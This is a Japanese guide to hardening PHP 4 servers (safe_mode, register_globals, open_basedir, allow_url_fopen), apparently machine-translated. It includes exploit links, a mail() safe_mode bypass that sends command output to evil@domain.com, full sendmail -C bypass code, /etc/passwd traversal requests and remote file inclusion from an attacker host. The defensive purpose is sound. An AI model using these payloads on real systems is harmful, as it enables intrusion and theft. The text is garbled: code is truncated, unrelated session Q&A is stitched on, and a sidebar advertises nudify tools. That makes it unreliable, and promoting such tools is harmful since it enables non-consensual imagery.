PHP セキュリティ構成
1. Web サーバーのセキュリティ
PHP は実際には Web サーバーのモジュール機能にすぎないため、最初に Web サーバーのセキュリティを確保する必要があります。もちろん、Web サーバーの安全性を確保するには、まずシステムのセキュリティを確保する必要がありますが、それはかなり先の話です。 PHP はさまざまな Web サーバーと組み合わせることができますが、ここでは Apache についてのみ説明します。 Apache を chroot モードでインストールして起動することを強くお勧めします。この方法では、Apache、PHP、およびそのスクリプトに脆弱性がある場合でも、影響を受けるのは制限されたシステムのみであり、実際のシステムには影響しません。ただし、chrooted Apache を使用すると、アプリケーションに特定の問題が発生します。たとえば、mysql に接続する場合、ソケット接続に localhost ではなく tcp を使用して接続する必要があり、これは若干効率が悪くなります。 php.ini で次のようにメールを送信する場合にも問題があります。
[mail function]
; Win32 のみ。
SMTP = localhost
; Win32 のみ。
sendmail_from = me@localhost.com
はすべて Win32 プラットフォーム用であるため、sendmail は chroot 環境で調整する必要があります。
2. PHP 自体の問題
1. リモート オーバーフロー
PHP-4.1.2 より前のすべてのバージョンにはファイル アップロードのリモート バッファ オーバーフローの脆弱性があり、攻撃プログラムには広く配布されており、成功率は非常に高いです:
http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt
2. リモートのサービス拒否
PHP-4.2.0 および PHP-4.2.1 には、ローカル ユーザーの権限を取得できませんが、PHP のマルチパート/フォームデータの POST リクエスト処理にリモートの脆弱性があります。サービス拒否を引き起こす可能性もあります。
3. セーフモードバイパスの脆弱性
PHP-4.2.2 以前から PHP-4.0.5 バージョン、バージョン 4.0.5 にはセーフモード制限実行コマンドの脆弱性をバイパスする PHP メール機能が存在します。 start mail 関数は 5 番目のパラメータを追加します。設計者の不注意のため、コマンドはセーフモードの制限を超えて実行される可能性があります。バージョン 4.0.5 の画期的な点は非常に簡単で、セミコロンで区切ってシェル コマンドを追加するだけです。たとえば、PHP スクリプト evil.php:
,"foo ","bar","",$bar);
次の URL を実行します:
http://foo.com/evil.php?bar= ;/usr /bin/id|mail evil@domain.com
これにより、id の実行結果が evil@domain.com に送信されます
PHP 4.0.6 から 4.2.2 が壊れる場合実際には、sendmail の -C パラメータが使用されるため、システムは sendmail を使用する必要があります。次のコードは、safe_mode 制限を突破してコマンドを実行できます:
#次の 2 つは存在してはならず、それらの所有者がこのスクリプトの所有者と同じであることに注意してください
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$ #local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script , "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody ", "", "", "", "-C$cf");
?>
上記の問題のあるバージョンの PHP を依然として使用しているユーザーはアップグレードする必要があります基本的なセキュリティ問題を排除できるよう、時間内に最新バージョンに更新する
3. PHP 自体のセキュリティ構成
PHP の構成は非常に柔軟で、php.ini、httpd.conf を通じて構成できます。 、.htaccess ファイル (このディレクトリを設定する必要があります)、AllowOverride All または Options)、スクリプト内で ini_set() およびその他の特定の関数を使用することもできます。構成オプションの値は、phpinfo() および get_cfg_var を通じて取得できます。 () 関数は、設定オプションが唯一の PHP_INI_SYSTEM 属性である場合、php.ini および httpd.conf を通じて変更する必要があります。ただし、変更を有効にするには、Apache を再起動する必要があります。 php.ini に設定されたオプションは Web サーバー内のすべてのスクリプトに有効であり、httpd.conf に設定されたオプションは、定義されたディレクトリ内のすべてのスクリプトに有効です。
他の PHP_INI_USER、PHP_INI_PERDIR、PHP_INI_ALL 属性オプションがある場合は、.htaccess ファイルを使用してそれらを設定するか、スクリプト自体で ini_set() 関数を使用してそれらを設定できます。値を変更すると、すぐに有効になります。ただし、.htaccess は現在のディレクトリにあるスクリプト プログラムに対してのみ有効であり、ini_set() 関数はスクリプト プログラムに対して ini_set() 関数を設定した後のコードに対してのみ有効です。各バージョンのオプション属性は異なる場合があります。次のコマンドを使用して現在のソース コードの main.c ファイルを検索し、すべてのオプションとその属性を取得できます。
# grep PHP_INI_ /PHP_SRC/main /main.c
PHP のセキュリティ構成について説明する前に、PHP のセーフモード モードについてよく理解しておく必要があります。
1.safe_mode
safe_mode は唯一の PHP_INI_SYSTEM 属性であり、php.ini または httpd.conf を通じて設定する必要があります。セーフモードを有効にするには、php.ini を変更するだけです:
safe_mode = On
または httpd.conf を変更してディレクトリを定義します:
オプション FollowSymLinks
php_admin_valuesafe_mode 1
safe_mode は、Apache の再起動後に有効になります。セーフモードを有効にすると、多くの PHP 機能、特にシステム関連のファイルを開く、コマンドの実行、その他の機能が制限されます。
ファイルを操作するすべての関数は、スクリプトと同じ UID を持つファイルのみを操作します。たとえば、test.php スクリプトの内容は次のとおりです:
いくつかのファイルの属性は次のとおりです:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr -x 16 ルート root 384 Jul 18 12:02 ..
-rw-r--r-- 1 ルート root 4110 2002 年 10 月 26 日index.html
-rw-r- -r-- 1 www-data www-data 41 Jul 19 19:14 test.php
ブラウザで test.php をリクエストすると、次のエラー メッセージが表示されます:
警告: セーフ モード制限が適用されています。uid/gid が 33/33 のスクリプトは、/var/www/test.php の 1 行目
の uid/gid 0/0 が所有する ./index.html にアクセスできません。操作したファイルが置かれているディレクトリのUIDがスクリプトのUIDと同じであるため、UIDがスクリプトと異なっていてもファイルにアクセスできます。これはPHPの脆弱性なのか、それとも別の隠れたものがあるのか疑問です。理由。したがって、php スクリプトの所有者であるユーザーがこの目的にのみ使用することをお勧めします。これにより、safe_mode の効果が得られなくなります。
GID 比較を緩和したい場合は、safe_mode_gid をオンにしてファイルの GID の比較のみを検討できます:
safe_mode_gid = On
。
safe_mode を設定すると、すべてのコマンド実行機能が php.ini のsafe_mode_exec_dir で指定されたディレクトリ内のプログラムの実行に制限され、shell_exec および `ls -l` によるコマンドの実行が禁止されます。本当に他のプログラムを呼び出す必要がある場合は、php.ini で次の設定を行うことができます:
safe_mode_exec_dir = /usr/local/php/exec
次に、プログラムをこのディレクトリにコピーします。その後、php スクリプトはシステムおよびその他の関数を使用してプログラムを実行できます。さらに、このディレクトリ内のシェル スクリプトは、引き続き他のディレクトリ内のシステム コマンドを呼び出すことができます。
safe_mode_include_dir string
このディレクトリとそのサブディレクトリからファイルをインクルードする場合、UID/GID チェックをバイパスします (ディレクトリは include_path に存在するか、フルパスでインクルードされる必要があります)。
PHP 4.2.0 以降、このディレクティブは、単なるディレクトリではなく、include_path ディレクティブと同様のスタイルでセミコロン区切りのパスを受け入れることができます。
で指定される制限は、実際にはディレクトリ名ではなくプレフィックスです。これは、「safe_mode_include_dir = /dir/incl」により、「/dir/include」および「/dir/incls」が存在する場合、それらへのアクセスが許可されることを意味します。特定のディレクトリへのアクセスを制限したい場合は、「safe_mode_include_dir = /dir/incl/」のように末尾にスラッシュを追加します。
safe_mode_allowed_env_vars string
特定の環境変数を設定すると、セキュリティ侵害の可能性があります。このディレクティブには、カンマで区切られたプレフィックスのリストが含まれます。セーフ モードでは、ユーザーは、ここで指定されたプレフィックスが名前に付いている環境変数のみを変更できます。デフォルトでは、ユーザーは PHP_ で始まる環境変数のみを設定できます (例: PHP_FOO = BAR)。
注: このディレクティブが空の場合、PHP ではユーザーが任意の環境変数を変更できるようになります。
safe_mode_protected_env_vars string
このディレクティブには、エンド ユーザーが putenv() を使用して変更できない環境変数のカンマ区切りのリストが含まれています。これらの変数は、safe_mode_allowed_env_vars で許可された変更が設定されている場合でも変更できません。
safe_mode は万能薬ではありません (PHP の以前のバージョンでは回避できます) が、未知の攻撃をある程度回避できるセーフ モードをオンにすることを強くお勧めします。ただし、safe_mode を有効にすると多くの制限があり、アプリケーションに影響を与える可能性があるため、調和を図るためにコードと構成を調整する必要があります。セーフモードにより制限またはブロックされる機能については、PHPのマニュアルを参照してください。
safe_mode について説明した後、プログラム コードで発生する可能性のある実際の問題に基づいて PHP サーバーを構成することで脆弱性を回避する方法について説明します。
2. 変数の不正使用
PHP のデフォルトでは、GET、POST、Cookie、Environment、Session の変数をグローバル変数として直接登録できます。登録順序は、variables_order = "EGPCS" (php.ini を通じて変更可能) です。同じ名前の variables_order の右側が左側を覆っているため、変数を乱用するとプログラムが混乱しやすくなります。さらに、スクリプト プログラマは、変数を初期化する習慣がないことがよくあります。次のようなプログラム スニペットは、攻撃に対して非常に脆弱です。 $pass == "hello")
$auth = 1;
if ($auth == 1)
echo "いくつかの重要な情報";
else
echo "何もありません";
?>
攻撃者は、次のリクエストを行うだけでチェックを回避できます:
http://victim/test_1.php?auth=1
これは非常に弱い間違いですが、phpnuke のリモート ファイル コピーの脆弱性など、いくつかのよく知られたプログラムでもこの間違いが犯されています: http://www.securityfocus.com/bid/3361
PHP-When 4.1 .0 がリリースされましたが、さまざまな変数を使用するために register_globals をオフにし、7 つの特別な配列変数を提供することが推奨されました。 GET、POST、COOKIE などの変数は変数として直接登録されないため、配列変数を通じてアクセスする必要があります。 PHP-4.2.0 がリリースされたとき、php.ini のデフォルト設定は register_globals = Off でした。これにより、プログラムは PHP 自体によって初期化されたデフォルト値 (通常は 0) を使用できるようになり、攻撃者が判断変数を制御するのを防ぎます。
解決策:
設定ファイル php.ini は register_globals = Off に設定します。
プログラマはプログラムの開始時に判定変数の値を初期化する必要があります。
3. ファイルを開く
非常に脆弱なコード スニペット:
//test_2.php
if (! ($str = readfile("$filename"))) {
echo("ファイルを開けませんでした: $filename
n");
exit;
}
else {
echo $ str;
}
?>
攻撃者は任意の $filename を指定できるため、攻撃者は次のリクエストで /etc/passwd を参照できます:
http:// victim/test_2.php?filename=/etc/passwd
次のリクエストは php ファイル自体を読み取ることができます:
http://victim/test_2.php?filename= test_2.php
PHP のファイルを開く関数には、fopen()、file() などが含まれます。ファイル名変数が厳密にチェックされていない場合、サーバー上の重要なファイルがアクセスされ、読み取られてしまいます。
解決策:
特に必要がない限り、PHP ファイルの操作を Web ディレクトリに制限します。以下は、Apache 設定ファイル httpd.conf を変更する例です:
php_admin_value open_basedir /usr/local/apache/htdocs
< ;/ Directory>
Apache を再起動した後、/usr/local/apache/htdocs ディレクトリ内の PHP スクリプトは独自のディレクトリ内のファイルのみを操作できます。それ以外の場合、PHP はエラーを報告します:
警告: open_basedir 制限が有効です。ファイルは、xx 行目の xxx にある間違ったディレクトリにあります。
セーフ モード モードを使用すると、前に説明したこの問題を回避できます。
4. 含まれるファイル
非常に脆弱なコード スニペット:
//test_3.php
if(file_exists ($filename) ))
include("$filename");
?>
この種の無責任なコードは、攻撃者が /etc/passwd ファイルを取得する可能性があります:
http://victim/test_3.php?filename=/etc/passwd
Unix バージョンの PHP の場合 (Win バージョンの PHP はリモートでファイルを開くことをサポートしていません)、攻撃者はシェルを含むファイルを作成できます。 http または ftp サービスが有効になっているマシン上でコマンドを実行する場合、たとえば http://攻撃/攻撃.txt の内容が である場合、次のリクエストを実行できます。ターゲット ホスト上のコマンド ls /etc:
http://victim/test_3.php?filename=http://攻撃/攻撃.txt
攻撃者 コードを取得することもできます。 Apache のログ ファイル access.log と error.log を含めてコマンドを実行します。ただし、干渉情報が多すぎるため、成功するのが難しい場合があります。
別の形式の場合は、次のコード スニペット:
//test_4.php
include("$lib/config.php");
?>
攻撃者は、自分のホスト上でコマンド実行コードを含む config.php ファイルを作成し、次のリクエストを使用してターゲット ホスト上でコマンドを実行できます:
http :/ /victim/test_4.php?lib=http://攻撃
PHP のインクルード関数には、include()、include_once()、require()、require_once などがあります。ファイル名を含む変数が厳密にチェックされないと、システムに重大な危険が生じ、コマンドがリモートで実行される可能性があります。
解決策:
ファイルにパラメーターを含める場合は変数を使用しないようにプログラマに要求します。変数を使用する場合は、含めるファイル名を厳密にチェックする必要があり、任意に指定してはなりません。ユーザー。
上で述べたように、ファイルを開く際の PHP 操作パスの制限は必須のオプションです。また、特に必要がない限り、PHP のリモートファイルオープン機能は必ずオフにしてください。 php.ini ファイルを変更します:
allow_url_fopen = Off
Apache を再起動します。
5. ファイルのアップロード
php のファイル アップロード メカニズムは、ユーザーがアップロードしたファイルを php.ini の Upload_tmp_dir で定義された一時ディレクトリに保存します (デフォルトは、次のようなシステムの一時ディレクトリです)。 : /tmp ) を phpxXuoXG のようなランダムな一時ファイルに保存します。プログラムの実行が終了すると、一時ファイルも削除されます。 PHP は、アップロードされたファイルに対して 4 つの変数を定義します (たとえば、フォーム変数名は file で、
$file file_size #アップロードされたファイルのサイズ
$file_name #元の名前アップロードされたファイルの
$file_type #アップロードされたファイルのタイプ
推奨される使用法:
$HTTP_POST_FILES['file'][ 'tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']
これは最も単純なファイルアップロードコード:
//test_5.php
if(isset($upload) && $file != "none") {
copy ($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "File".$file_name." アップロードに成功しました! ";
exit;
}
?>

データベースストレージセッションを使用することの主な利点には、持続性、スケーラビリティ、セキュリティが含まれます。 1。永続性:サーバーが再起動しても、セッションデータは変更されないままになります。 2。スケーラビリティ:分散システムに適用され、セッションデータが複数のサーバー間で同期されるようにします。 3。セキュリティ:データベースは、機密情報を保護するための暗号化されたストレージを提供します。

PHPでのカスタムセッション処理の実装は、SessionHandlerInterfaceインターフェイスを実装することで実行できます。具体的な手順には、次のものが含まれます。1)CussentsessionHandlerなどのSessionHandlerInterfaceを実装するクラスの作成。 2)セッションデータのライフサイクルとストレージ方法を定義するためのインターフェイス(オープン、クローズ、読み取り、書き込み、破壊、GCなど)の書き換え方法。 3)PHPスクリプトでカスタムセッションプロセッサを登録し、セッションを開始します。これにより、データをMySQLやRedisなどのメディアに保存して、パフォーマンス、セキュリティ、スケーラビリティを改善できます。

SessionIDは、ユーザーセッションのステータスを追跡するためにWebアプリケーションで使用されるメカニズムです。 1.ユーザーとサーバー間の複数のインタラクション中にユーザーのID情報を維持するために使用されるランダムに生成された文字列です。 2。サーバーは、ユーザーの複数のリクエストでこれらの要求を識別および関連付けるのに役立つCookieまたはURLパラメーターを介してクライアントに生成および送信します。 3.生成は通常、ランダムアルゴリズムを使用して、一意性と予測不可能性を確保します。 4.実際の開発では、Redisなどのメモリ内データベースを使用してセッションデータを保存してパフォーマンスとセキュリティを改善できます。

APIなどのステートレス環境でのセッションの管理は、JWTまたはCookieを使用して達成できます。 1。JWTは、無国籍とスケーラビリティに適していますが、ビッグデータに関してはサイズが大きいです。 2.cookiesはより伝統的で実装が簡単ですが、セキュリティを確保するために慎重に構成する必要があります。

セッション関連のXSS攻撃からアプリケーションを保護するには、次の測定が必要です。1。セッションCookieを保護するためにHTTPonlyとセキュアフラグを設定します。 2。すべてのユーザー入力のエクスポートコード。 3.コンテンツセキュリティポリシー(CSP)を実装して、スクリプトソースを制限します。これらのポリシーを通じて、セッション関連のXSS攻撃を効果的に保護し、ユーザーデータを確保できます。

PHPセッションのパフォーマンスを最適化する方法は次のとおりです。1。遅延セッション開始、2。データベースを使用してセッションを保存します。これらの戦略は、高い並行性環境でのアプリケーションの効率を大幅に改善できます。

thesession.gc_maxlifettinginttinginphpdethinesthelifsessessiondata、setinseconds.1)it'sconfiguredinphp.iniorviaini_set()。 2)AbalanceSneededToAvoidPerformanceIssues andunexpectedLogouts.3)php'sgarbagecollectionisisprobabilistic、影響を受けたBygc_probabi

PHPでは、session_name()関数を使用してセッション名を構成できます。特定の手順は次のとおりです。1。session_name()関数を使用して、session_name( "my_session")などのセッション名を設定します。 2。セッション名を設定した後、session_start()を呼び出してセッションを開始します。セッション名の構成は、複数のアプリケーション間のセッションデータの競合を回避し、セキュリティを強化することができますが、セッション名の一意性、セキュリティ、長さ、設定タイミングに注意してください。


ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

Video Face Swap
完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

AtomエディタMac版ダウンロード
最も人気のあるオープンソースエディター

MinGW - Minimalist GNU for Windows
このプロジェクトは osdn.net/projects/mingw に移行中です。引き続きそこでフォローしていただけます。 MinGW: GNU Compiler Collection (GCC) のネイティブ Windows ポートであり、ネイティブ Windows アプリケーションを構築するための自由に配布可能なインポート ライブラリとヘッダー ファイルであり、C99 機能をサポートする MSVC ランタイムの拡張機能が含まれています。すべての MinGW ソフトウェアは 64 ビット Windows プラットフォームで実行できます。

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

WebStorm Mac版
便利なJavaScript開発ツール

ホットトピック









